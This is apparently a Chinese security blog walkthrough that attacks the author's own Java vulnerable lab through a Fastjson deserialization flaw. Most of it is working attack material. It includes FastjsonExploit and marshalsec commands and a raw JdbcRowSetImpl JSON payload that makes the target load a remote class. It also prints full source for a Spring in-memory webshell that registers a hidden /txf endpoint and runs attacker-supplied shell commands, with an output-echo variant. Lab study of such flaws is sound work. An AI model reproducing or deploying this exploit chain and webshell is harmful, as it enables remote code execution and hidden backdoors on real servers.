标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-3031] 作者: 州官 发表于: [2022-03-11]
本文共 [506] 位读者顶过
直接拿我之前写的漏洞靶场演示一波。欢迎大家来star一下 https://github.com/tangxiaofeng7/SecExample 靶场JAVA 漏洞靶场-SecExample 效果图:
[出自:jiwo.org] 我直接导入idea. 本地开启mysql服务,然后将mysql目录下的init.sql文件导入。 同时修改resources目录下的application.yml文件,使数据库生效。
url: jdbc:mysql://localhost:3306/mybatis?serverTimezone=UTC&useSSL=false 记得数据的账号密码修改成本地一下。最后启动应用。效果图:
利用使用利用工具 java -jar FastjsonExploit-0.1-beta2-all.jar JdbcRowSetImpl5 rmi://127.0.0.1:1099/Exploit "cmd:open /System/Applications/Calculator.app"
复制payload
环境是正常的,再尝试写内存马了。
内存马在目录src/main/java/com下新建内存马 import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.lang.reflect.Method; public class Evil { public Evil() throws Exception{ WebApplicationContext context = (WebApplicationContext) RequestContextHolder. currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 通过反射获得自定义 controller 中唯一的 Method 对象 Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry"); // 属性被 private 修饰,所以 setAccessible true method.setAccessible(true); // 通过反射获得该类的test方法 Method method2 = Evil.class.getMethod("test"); // 定义该controller的path PatternsRequestCondition url = new PatternsRequestCondition("/txf"); // 定义允许访问的HTTP方法 RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); // 创建用于处理请求的对象,避免无限循环使用另一个构造方法 Evil injectToController = new Evil("aaa"); // 将该controller注册到Spring容器 mappingHandlerMapping.registerMapping(info, injectToController, method2); } private Evil(String aaa) { } public void test() throws IOException { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); Runtime.getRuntime().exec(request.getParameter("cmd")); } } 然后点击重新编译。 然后换到目录/target/classes下起一个web服务 python -m SimpleHTTPServer 8888 然后使用marshalsec启动 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8888/#Evil" 9999
接着exp把内存马打进去。 POST /fastjson HTTP/1.1 Host: 172.16.120.148:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json; charset=utf-8 X-Requested-With: XMLHttpRequest Content-Length: 187 Origin: http://172.16.120.148:8080 Connection: close Referer: http://172.16.120.148:8080/fastjson {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999/Exploit","autoCommit":true}}} 尝试使用内存马执行命令
http://172.16.120.148:8080/txf?cmd=open%20/System/Applications/Calculator.app
回显目前的内存马是无回显的,可以修改代码实现回显 import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWriter; import java.lang.reflect.Method; import java.nio.charset.Charset; public class Evil { public Evil() throws Exception { WebApplicationContext context = (WebApplicationContext) RequestContextHolder. currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 通过反射获得自定义 controller 中唯一的 Method 对象 Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry"); // 属性被 private 修饰,所以 setAccessible true method.setAccessible(true); // 通过反射获得该类的test方法 Method method2 = Evil.class.getMethod("test"); // 定义该controller的path PatternsRequestCondition url = new PatternsRequestCondition("/txf"); // 定义允许访问的HTTP方法 RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); // 创建用于处理请求的对象,避免无限循环使用另一个构造方法 Evil injectToController = new Evil("aaa"); // 将该controller注册到Spring容器 mappingHandlerMapping.registerMapping(info, injectToController, method2); } private Evil(String aaa) { } public void test() throws IOException { HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getResponse(); String code = request.getParameter("code"); if(code != null){ StringBuilder result = new StringBuilder(); Process process = null; BufferedReader bufrIn = null; BufferedReader bufrError = null; response.setCharacterEncoding("utf-8"); response.setContentType("text/html,charset=utf-8"); PrintWriter writer = response.getWriter(); try { ProcessBuilder builder = null; if (System.getProperty("os.name").toLowerCase().contains("win")){ builder = new ProcessBuilder(new String[]{"cmd.exe","/c",code}); Process start = builder.start(); bufrIn = new BufferedReader(new InputStreamReader(start.getInputStream(), Charset.forName("GBK"))); bufrError = new BufferedReader(new InputStreamReader(start.getInputStream(),Charset.forName("GBK"))); }else { builder = new ProcessBuilder(new String[]{"/bin/sh","-c",code}); Process start = builder.start(); bufrIn = new BufferedReader(new InputStreamReader(start.getInputStream(), Charset.forName("UTF-8"))); bufrError = new BufferedReader(new InputStreamReader(start.getInputStream(),Charset.forName("UTF-8"))); } String line; while ((line = bufrIn.readLine()) != null){ result.append(line).append('\n').append("</p >"); } while ((line = bufrError.readLine()) != null){ result.append(line).append('\n').append("</p >"); } System.out.println(result); writer.println(result); writer.flush(); writer.close(); } catch (IOException e) { e.printStackTrace(); } } } }
|